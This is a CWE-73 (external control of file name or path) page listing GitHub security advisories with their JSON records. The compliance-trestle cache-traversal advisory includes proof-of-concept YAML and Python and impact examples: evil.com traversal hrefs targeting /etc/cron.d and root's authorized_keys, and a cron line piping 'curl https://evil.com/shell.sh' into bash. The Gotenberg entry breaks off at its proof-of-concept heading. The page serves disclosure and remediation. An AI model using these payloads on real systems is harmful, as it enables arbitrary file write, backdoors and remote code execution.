CWE-73
AllowedExternal Control of File Name or Path
Abstraction: Base · Status: Draft
The product allows user input to control or influence paths or file names that are used in filesystem operations.
1087 vulnerabilities reference this CWE, most recent first.
GHSA-G3VG-VX23-3858
Vulnerability from github – Published: 2026-05-27 22:57 – Updated: 2026-05-27 22:57Summary
The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (../). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem.
Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.)
Affected Component
Repository: https://github.com/IBM/compliance-trestle
File: trestle/core/remote/cache.py (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)
Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:259-266 — HTTPSFetcher cache path construction
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
# ...
if u.hostname is None:
raise TrestleError(f'Cache request for {self._uri} requires hostname')
https_cached_dir = self._trestle_cache_path / u.hostname
# ❌ path_parent preserves ../ sequences from URL
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache
self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)
cache.py:285-295 — Content written to traversed path
def _do_fetch(self) -> None:
# ...
response = requests.get(self._url, auth=auth, verify=verify, timeout=30)
if response.status_code == 200:
result = response.text # ❌ Attacker-controlled content
self._cached_object_path.write_text(result) # ❌ Written to arbitrary path
cache.py:328-333 — SFTPFetcher (identical pattern)
class SFTPFetcher(FetcherBase):
def __init__(self, ...):
# Identical path construction — same vulnerability
sftp_cached_dir = self._trestle_cache_path / u.hostname
path_parent = pathlib.Path(u.path[re.search('[^/\\\\]', u.path).span()[0] :]).parent
sftp_cached_dir = sftp_cached_dir / path_parent
sftp_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)
Root Cause:
1. urlparse("https://evil.com/../../../tmp/pwned.json").path = /../../../tmp/pwned.json — preserves ../
2. pathlib.Path(u.path).parent preserves traversal sequences
3. cache_dir / hostname / "../../../../../../tmp" resolves outside cache
4. mkdir(parents=True, exist_ok=True) creates intermediate directories
5. write_text(response.text) writes attacker-controlled content to traversed path
6. No is_relative_to() boundary check on the resolved path
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2
PoC: Malicious OSCAL Profile
# malicious_profile.yaml — arbitrary file write via cache traversal
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
PoC: Cache Path Traversal Simulation
#!/usr/bin/env python3
"""PoC: Cache path traversal → arbitrary file write"""
import os, re, tempfile, shutil
from pathlib import Path
from urllib.parse import urlparse
# Simulate trestle cache behavior (cache.py:259-266)
trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_"))
cache_dir = trestle_root / ".trestle" / ".cache"
cache_dir.mkdir(parents=True, exist_ok=True)
evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json"
u = urlparse(evil_url)
# Exact trestle code path
cached_dir = cache_dir / u.hostname
m = re.search(r'[^/\\\\]', u.path)
path_parent = Path(u.path[m.span()[0]:]).parent
cached_dir = cached_dir / path_parent
cached_dir.mkdir(parents=True, exist_ok=True)
cached_file = cached_dir / Path(Path(u.path).name)
print(f"Cache dir: {cache_dir}")
print(f"Resolved write target: {cached_file.resolve()}")
# Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory!
# Write attacker content
attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"'
cached_file.write_text(attacker_payload)
print(f"Written: {cached_file.resolve().read_text()}")
# Cleanup
os.remove(str(cached_file.resolve()))
shutil.rmtree(str(trestle_root))
Expected: Write confined to .trestle/.cache/ directory
Actual: File written to /tmp/trestle_pwned.json (arbitrary filesystem location)
Remediation
Fix for HTTPSFetcher (cache.py:259-266):
class HTTPSFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
# ...
u = parse.urlparse(self._uri)
https_cached_dir = self._trestle_cache_path / u.hostname
# ✅ Sanitize path: remove traversal sequences
safe_path = pathlib.PurePosixPath(u.path).parts
safe_path = [p for p in safe_path if p != '..' and p != '/']
path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.')
https_cached_dir = https_cached_dir / path_parent
https_cached_dir.mkdir(parents=True, exist_ok=True)
self._cached_object_path = https_cached_dir / safe_path[-1]
# ✅ Boundary check
if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):
raise TrestleError(
f"Cache path traversal blocked: URL '{uri}' resolves to "
f"'{self._cached_object_path.resolve()}' outside cache directory"
)
Same fix required for SFTPFetcher at lines 328-333.
References
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- CWE-73: https://cwe.mitre.org/data/definitions/73.html
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
1. Cron Job Injection → Remote Code Execution
# Profile that writes a cron job
imports:
- href: "https://evil.com/../../../../../../../etc/cron.d/backdoor"
Attacker's server responds with:
* * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash'
2. SSH Authorized Keys Injection
imports:
- href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys"
Attacker's server responds with their SSH public key.
3. Config File Overwrite
imports:
- href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf"
4. Python Path Hijacking
Write malicious .py file to a location on sys.path for code execution on next import.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.0.2"
},
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.0.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "compliance-trestle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.12.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45725"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-27T22:57:37Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe compliance-trestle library\u0027s remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences (`../`). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location **outside the intended cache directory**, enabling **arbitrary file write with attacker-controlled content** to the filesystem.\n\n**Attack chain:** Malicious OSCAL profile \u2192 HTTPS fetch \u2192 cache path traversal \u2192 arbitrary file write \u2192 RCE (via cron, SSH keys, etc.)\n\n## Affected Component\n\n**Repository:** https://github.com/IBM/compliance-trestle\n**File:** `trestle/core/remote/cache.py` (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher)\n**Version:** v4.0.2 (latest as of 2026-04-30)\n## Vulnerable Code\n\n### cache.py:259-266 \u2014 HTTPSFetcher cache path construction\n\n```python\nclass HTTPSFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n # ...\n u = parse.urlparse(self._uri)\n # ...\n if u.hostname is None:\n raise TrestleError(f\u0027Cache request for {self._uri} requires hostname\u0027)\n https_cached_dir = self._trestle_cache_path / u.hostname\n # \u274c path_parent preserves ../ sequences from URL\n path_parent = pathlib.Path(u.path[re.search(\u0027[^/\\\\\\\\]\u0027, u.path).span()[0] :]).parent\n https_cached_dir = https_cached_dir / path_parent\n https_cached_dir.mkdir(parents=True, exist_ok=True) # \u274c Creates dirs outside cache\n self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n### cache.py:285-295 \u2014 Content written to traversed path\n\n```python\n def _do_fetch(self) -\u003e None:\n # ...\n response = requests.get(self._url, auth=auth, verify=verify, timeout=30)\n if response.status_code == 200:\n result = response.text # \u274c Attacker-controlled content\n self._cached_object_path.write_text(result) # \u274c Written to arbitrary path\n```\n\n### cache.py:328-333 \u2014 SFTPFetcher (identical pattern)\n\n```python\nclass SFTPFetcher(FetcherBase):\n def __init__(self, ...):\n # Identical path construction \u2014 same vulnerability\n sftp_cached_dir = self._trestle_cache_path / u.hostname\n path_parent = pathlib.Path(u.path[re.search(\u0027[^/\\\\\\\\]\u0027, u.path).span()[0] :]).parent\n sftp_cached_dir = sftp_cached_dir / path_parent\n sftp_cached_dir.mkdir(parents=True, exist_ok=True)\n self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name)\n```\n\n**Root Cause:**\n1. `urlparse(\"https://evil.com/../../../tmp/pwned.json\").path` = `/../../../tmp/pwned.json` \u2014 preserves `../`\n2. `pathlib.Path(u.path).parent` preserves traversal sequences\n3. `cache_dir / hostname / \"../../../../../../tmp\"` resolves outside cache\n4. `mkdir(parents=True, exist_ok=True)` creates intermediate directories\n5. `write_text(response.text)` writes attacker-controlled content to traversed path\n6. **No `is_relative_to()` boundary check** on the resolved path\n\n\n## Steps to Reproduce\n\n### Prerequisites\n\n```bash\npip install compliance-trestle==4.0.2\n```\n\n### PoC: Malicious OSCAL Profile\n\n```yaml\n# malicious_profile.yaml \u2014 arbitrary file write via cache traversal\nprofile:\n uuid: \"550e8400-e29b-41d4-a716-446655440000\"\n metadata:\n title: \"Malicious Profile\"\n version: \"1.0\"\n last-modified: \"2024-01-01T00:00:00+00:00\"\n oscal-version: \"1.0.4\"\n imports:\n - href: \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\n```\n\n### PoC: Cache Path Traversal Simulation\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: Cache path traversal \u2192 arbitrary file write\"\"\"\nimport os, re, tempfile, shutil\nfrom pathlib import Path\nfrom urllib.parse import urlparse\n\n# Simulate trestle cache behavior (cache.py:259-266)\ntrestle_root = Path(tempfile.mkdtemp(prefix=\"trestle_poc_\"))\ncache_dir = trestle_root / \".trestle\" / \".cache\"\ncache_dir.mkdir(parents=True, exist_ok=True)\n\nevil_url = \"https://evil.com/../../../../../../../tmp/trestle_pwned.json\"\nu = urlparse(evil_url)\n\n# Exact trestle code path\ncached_dir = cache_dir / u.hostname\nm = re.search(r\u0027[^/\\\\\\\\]\u0027, u.path)\npath_parent = Path(u.path[m.span()[0]:]).parent\ncached_dir = cached_dir / path_parent\ncached_dir.mkdir(parents=True, exist_ok=True)\ncached_file = cached_dir / Path(Path(u.path).name)\n\nprint(f\"Cache dir: {cache_dir}\")\nprint(f\"Resolved write target: {cached_file.resolve()}\")\n# Output: /tmp/trestle_pwned.json \u2190 OUTSIDE cache directory!\n\n# Write attacker content\nattacker_payload = \u0027*/5 * * * * root /bin/bash -c \"id \u003e /tmp/rce_proof\"\u0027\ncached_file.write_text(attacker_payload)\nprint(f\"Written: {cached_file.resolve().read_text()}\")\n\n# Cleanup\nos.remove(str(cached_file.resolve()))\nshutil.rmtree(str(trestle_root))\n```\n\n**Expected:** Write confined to `.trestle/.cache/` directory\n**Actual:** File written to `/tmp/trestle_pwned.json` (arbitrary filesystem location)\n\n\n## Remediation\n\n### Fix for HTTPSFetcher (cache.py:259-266):\n\n```python\nclass HTTPSFetcher(FetcherBase):\n def __init__(self, trestle_root: pathlib.Path, uri: str) -\u003e None:\n # ...\n u = parse.urlparse(self._uri)\n https_cached_dir = self._trestle_cache_path / u.hostname\n\n # \u2705 Sanitize path: remove traversal sequences\n safe_path = pathlib.PurePosixPath(u.path).parts\n safe_path = [p for p in safe_path if p != \u0027..\u0027 and p != \u0027/\u0027]\n path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) \u003e 1 else pathlib.Path(\u0027.\u0027)\n\n https_cached_dir = https_cached_dir / path_parent\n https_cached_dir.mkdir(parents=True, exist_ok=True)\n self._cached_object_path = https_cached_dir / safe_path[-1]\n\n # \u2705 Boundary check\n if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()):\n raise TrestleError(\n f\"Cache path traversal blocked: URL \u0027{uri}\u0027 resolves to \"\n f\"\u0027{self._cached_object_path.resolve()}\u0027 outside cache directory\"\n )\n```\n\nSame fix required for SFTPFetcher at lines 328-333.\n\n## References\n\n- **CWE-22:** https://cwe.mitre.org/data/definitions/22.html\n- **CWE-73:** https://cwe.mitre.org/data/definitions/73.html\n- **compliance-trestle:** https://github.com/IBM/compliance-trestle\n\n## Impact\n\n### 1. Cron Job Injection \u2192 Remote Code Execution\n\n```yaml\n# Profile that writes a cron job\nimports:\n - href: \"https://evil.com/../../../../../../../etc/cron.d/backdoor\"\n```\n\nAttacker\u0027s server responds with:\n```\n* * * * * root /bin/bash -c \u0027curl https://evil.com/shell.sh | bash\u0027\n```\n\n### 2. SSH Authorized Keys Injection\n\n```yaml\nimports:\n - href: \"https://evil.com/../../../../../../../root/.ssh/authorized_keys\"\n```\n\nAttacker\u0027s server responds with their SSH public key.\n\n### 3. Config File Overwrite\n\n```yaml\nimports:\n - href: \"https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf\"\n```\n\n### 4. Python Path Hijacking\n\nWrite malicious `.py` file to a location on `sys.path` for code execution on next import.",
"id": "GHSA-g3vg-vx23-3858",
"modified": "2026-05-27T22:57:38Z",
"published": "2026-05-27T22:57:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/security/advisories/GHSA-g3vg-vx23-3858"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/89f4e53d159e8ff901da4d7c3b51c9556bd32ec0"
},
{
"type": "WEB",
"url": "https://github.com/oscal-compass/compliance-trestle/commit/9abc492329fcc8d0557182317de9bde854385da3"
},
{
"type": "PACKAGE",
"url": "https://github.com/oscal-compass/compliance-trestle"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "compliance-trestle Remote Fetching Mechanism has an Arbitrary File Write via Cache Path Traversal"
}
GHSA-G463-PW3X-JMJ3
Vulnerability from github – Published: 2024-10-30 03:30 – Updated: 2026-04-08 18:33The Code Explorer plugin for WordPress is vulnerable to arbitrary external file reading in all versions up to, and including, 1.4.5. This is due to the fact that the plugin does not restrict accessing files to those outside of the WordPress instance, though the intention of the plugin is to only access WordPress related files. This makes it possible for authenticated attackers, with administrator-level access, to read files outside of the WordPress instance.
{
"affected": [],
"aliases": [
"CVE-2023-5816"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-30T03:15:03Z",
"severity": "MODERATE"
},
"details": "The Code Explorer plugin for WordPress is vulnerable to arbitrary external file reading in all versions up to, and including, 1.4.5. This is due to the fact that the plugin does not restrict accessing files to those outside of the WordPress instance, though the intention of the plugin is to only access WordPress related files. This makes it possible for authenticated attackers, with administrator-level access, to read files outside of the WordPress instance.",
"id": "GHSA-g463-pw3x-jmj3",
"modified": "2026-04-08T18:33:39Z",
"published": "2024-10-30T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5816"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3234408%40code-explorer\u0026new=3234408%40code-explorer\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/code-explorer/#developers"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/42ecc4e5-d660-472f-823d-a29b84cdf041?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G477-CJ4H-5CFP
Vulnerability from github – Published: 2024-07-17 09:30 – Updated: 2026-04-08 21:32The BookingPress – Appointment Booking Calendar Plugin and Online Scheduling Plugin plugin for WordPress is vulnerable to Arbitrary File Read to Arbitrary File Creation in all versions up to, and including, 1.1.5 via the 'bookingpress_save_lite_wizard_settings_func' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary files that contain the content of files on the server, allowing the execution of any PHP code in those files or the exposure of sensitive information.
{
"affected": [],
"aliases": [
"CVE-2024-6467"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-17T07:15:03Z",
"severity": "HIGH"
},
"details": "The BookingPress \u2013 Appointment Booking Calendar Plugin and Online Scheduling Plugin plugin for WordPress is vulnerable to Arbitrary File Read to Arbitrary File Creation in all versions up to, and including, 1.1.5 via the \u0027bookingpress_save_lite_wizard_settings_func\u0027 function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create arbitrary files that contain the content of files on the server, allowing the execution of any PHP code in those files or the exposure of sensitive information.",
"id": "GHSA-g477-cj4h-5cfp",
"modified": "2026-04-08T21:32:51Z",
"published": "2024-07-17T09:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6467"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3116857/bookingpress-appointment-booking/trunk/core/classes/class.bookingpress.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d0177510-cd7d-4cc5-96c3-78433aa0e3f6?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G48V-3P35-88JR
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 20:31In h2oai/h2o-3 version 3.46.0, the /99/Models/{name}/json endpoint allows for arbitrary file overwrite on the target server. The vulnerability arises from the exportModelDetails function in ModelsHandler.java, where the user-controllable mexport.dir parameter is used to specify the file path for writing model details. This can lead to overwriting files at arbitrary locations on the host system.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "h2o"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.4.1"
},
{
"last_affected": "3.46.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "ai.h2o:h2o-core"
},
"ranges": [
{
"events": [
{
"introduced": "3.10.4.1"
},
{
"last_affected": "3.46.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-8616"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-20T20:31:09Z",
"nvd_published_at": "2025-03-20T10:15:43Z",
"severity": "HIGH"
},
"details": "In h2oai/h2o-3 version 3.46.0, the `/99/Models/{name}/json` endpoint allows for arbitrary file overwrite on the target server. The vulnerability arises from the `exportModelDetails` function in `ModelsHandler.java`, where the user-controllable `mexport.dir` parameter is used to specify the file path for writing model details. This can lead to overwriting files at arbitrary locations on the host system.",
"id": "GHSA-g48v-3p35-88jr",
"modified": "2025-03-20T20:31:09Z",
"published": "2025-03-20T12:32:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8616"
},
{
"type": "PACKAGE",
"url": "https://github.com/h2oai/h2o-3"
},
{
"type": "WEB",
"url": "https://github.com/h2oai/h2o-3/blob/088190f9d0370a02a483fca68d8dc89c996b4f83/h2o-core/src/main/java/water/api/ModelsHandler.java#L310"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/aebf69a5-b9b1-4d2f-a8ff-902c11a8c97a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "H2O Vulnerable to Arbitrary File Overwrite"
}
GHSA-G674-4Q3H-W499
Vulnerability from github – Published: 2026-01-21 18:30 – Updated: 2026-01-21 18:30NodeBB Plugin Emoji 3.2.1 contains an arbitrary file write vulnerability that allows administrative users to write files to arbitrary system locations through the emoji upload API. Attackers with admin access can craft file upload requests with directory traversal to overwrite system files by manipulating the file path parameter.
{
"affected": [],
"aliases": [
"CVE-2021-47746"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-21T18:16:02Z",
"severity": "HIGH"
},
"details": "NodeBB Plugin Emoji 3.2.1 contains an arbitrary file write vulnerability that allows administrative users to write files to arbitrary system locations through the emoji upload API. Attackers with admin access can craft file upload requests with directory traversal to overwrite system files by manipulating the file path parameter.",
"id": "GHSA-g674-4q3h-w499",
"modified": "2026-01-21T18:30:30Z",
"published": "2026-01-21T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47746"
},
{
"type": "WEB",
"url": "https://github.com/NodeBB/nodebb-plugin-emoji"
},
{
"type": "WEB",
"url": "https://nodebb.org"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49813"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nodebb-plugin-emoji-arbitrary-file-write"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G832-WQ36-X2W6
Vulnerability from github – Published: 2025-08-23 06:30 – Updated: 2025-08-23 06:30The Wptobe-memberships plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the del_img_ajax_call() function in all versions up to, and including, 3.4.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
{
"affected": [],
"aliases": [
"CVE-2025-9048"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-23T05:15:33Z",
"severity": "HIGH"
},
"details": "The Wptobe-memberships plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the del_img_ajax_call() function in all versions up to, and including, 3.4.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).",
"id": "GHSA-g832-wq36-x2w6",
"modified": "2025-08-23T06:30:20Z",
"published": "2025-08-23T06:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-9048"
},
{
"type": "WEB",
"url": "https://plugins.svn.wordpress.org/wptobe-memberships/trunk/bwlms-fields/bwlms-fields.php"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wptobe-memberships/trunk/bwlms-fields/bwlms-fields.php#L156"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/466568c5-33a9-4891-b4ad-9bc6052603cb?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G8JX-GXQ8-GG28
Vulnerability from github – Published: 2025-02-11 18:31 – Updated: 2025-02-11 18:31External control of a file name in Ivanti Connect Secure before version 22.7R2.6 and Ivanti Policy Secure before version 22.7R1.3 allows a remote authenticated attacker with admin privileges to read arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2024-12058"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-11T16:15:38Z",
"severity": "MODERATE"
},
"details": "External control of a file name in Ivanti Connect Secure before version 22.7R2.6 and Ivanti Policy Secure before version 22.7R1.3 allows a remote authenticated attacker with admin privileges to read arbitrary files.",
"id": "GHSA-g8jx-gxq8-gg28",
"modified": "2025-02-11T18:31:34Z",
"published": "2025-02-11T18:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-12058"
},
{
"type": "WEB",
"url": "https://forums.ivanti.com/s/article/February-Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-and-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G8RH-W59P-62H4
Vulnerability from github – Published: 2025-11-26 03:30 – Updated: 2025-12-03 18:30Unauthenticated Arbitrary File Deletion (patch_contents.php) in DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter versions 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000 allows an attacker to perform The deletepatch parameter allows unauthenticated deletion of arbitrary files.
The deletepatch parameter in patch_contents.php allows unauthenticated deletion of arbitrary files in /var/www/patch/ directory without sanitization or access control checks.
{
"affected": [],
"aliases": [
"CVE-2025-66257"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-26T01:16:09Z",
"severity": "CRITICAL"
},
"details": "Unauthenticated Arbitrary File Deletion (patch_contents.php) in DB Electronica Telecomunicazioni S.p.A. Mozart FM Transmitter versions 30, 50, 100, 300, 500, 1000, 2000, 3000, 3500, 6000, 7000 allows an attacker to perform The deletepatch parameter allows unauthenticated deletion of arbitrary files.\nThe `deletepatch` parameter in `patch_contents.php` allows unauthenticated deletion of arbitrary files in `/var/www/patch/` directory without sanitization or access control checks.",
"id": "GHSA-g8rh-w59p-62h4",
"modified": "2025-12-03T18:30:21Z",
"published": "2025-11-26T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66257"
},
{
"type": "WEB",
"url": "https://www.abdulmhsblog.com/posts/webfmvulns"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-G924-CJX7-2RJW
Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-07-21 14:34Summary
The /forms/chromium/convert/url and /forms/chromium/screenshot/url routes accept url=file:///tmp/... from anonymous callers. The default Chromium deny-list intentionally exempts file:///tmp/ so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request AllowedFilePrefixes guard to scope the read. The URL routes never set AllowedFilePrefixes, so the scope guard silently skips. Alice enumerates /tmp/, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.
Details
The default deny-list regex at pkg/modules/chromium/chromium.go:449 uses a negative lookahead to exempt /tmp/:
fs.StringSlice("chromium-deny-list",
[]string{`^file:(?!//\/tmp/).*`},
"Set the denied URLs for Chromium using regular expressions - supports multiple values")
pkg/gotenberg/outbound.go:185-187 short-circuits IP validation for non-HTTP schemes:
if !httpLikeScheme(parsed.Scheme) {
return outboundDecision{}, nil
}
So any file:///tmp/... URL passes FilterOutboundURL cleanly.
The HTML route pairs the exemption with a per-request scope guard (pkg/modules/chromium/routes.go:518):
options.AllowedFilePrefixes = []string{ctx.DirPath()}
and the CDP Fetch.requestPaused handler enforces the scope (pkg/modules/chromium/events.go:65-78):
if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 {
prefixMatch := false
for _, prefix := range options.allowedFilePrefixes {
if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
prefixMatch = true
break
}
}
if !prefixMatch {
allow = false
}
}
The len(options.allowedFilePrefixes) > 0 condition skips the entire enforcement block when the slice is empty. The URL route handler at pkg/modules/chromium/routes.go:406-448 (convertUrlRoute) never populates AllowedFilePrefixes. MandatoryString("url", &url) takes the form value without scheme validation and passes it to convertUrl → chromium.Pdf → Chromium navigation.
Gotenberg stores uploaded request assets at /tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext> (pkg/gotenberg/fs.go:64-65). Chromium renders the targeted file:// URL as a PDF and the response body returns to the caller.
Proof of Concept
Reproduction uses the stock Docker image with no auth:
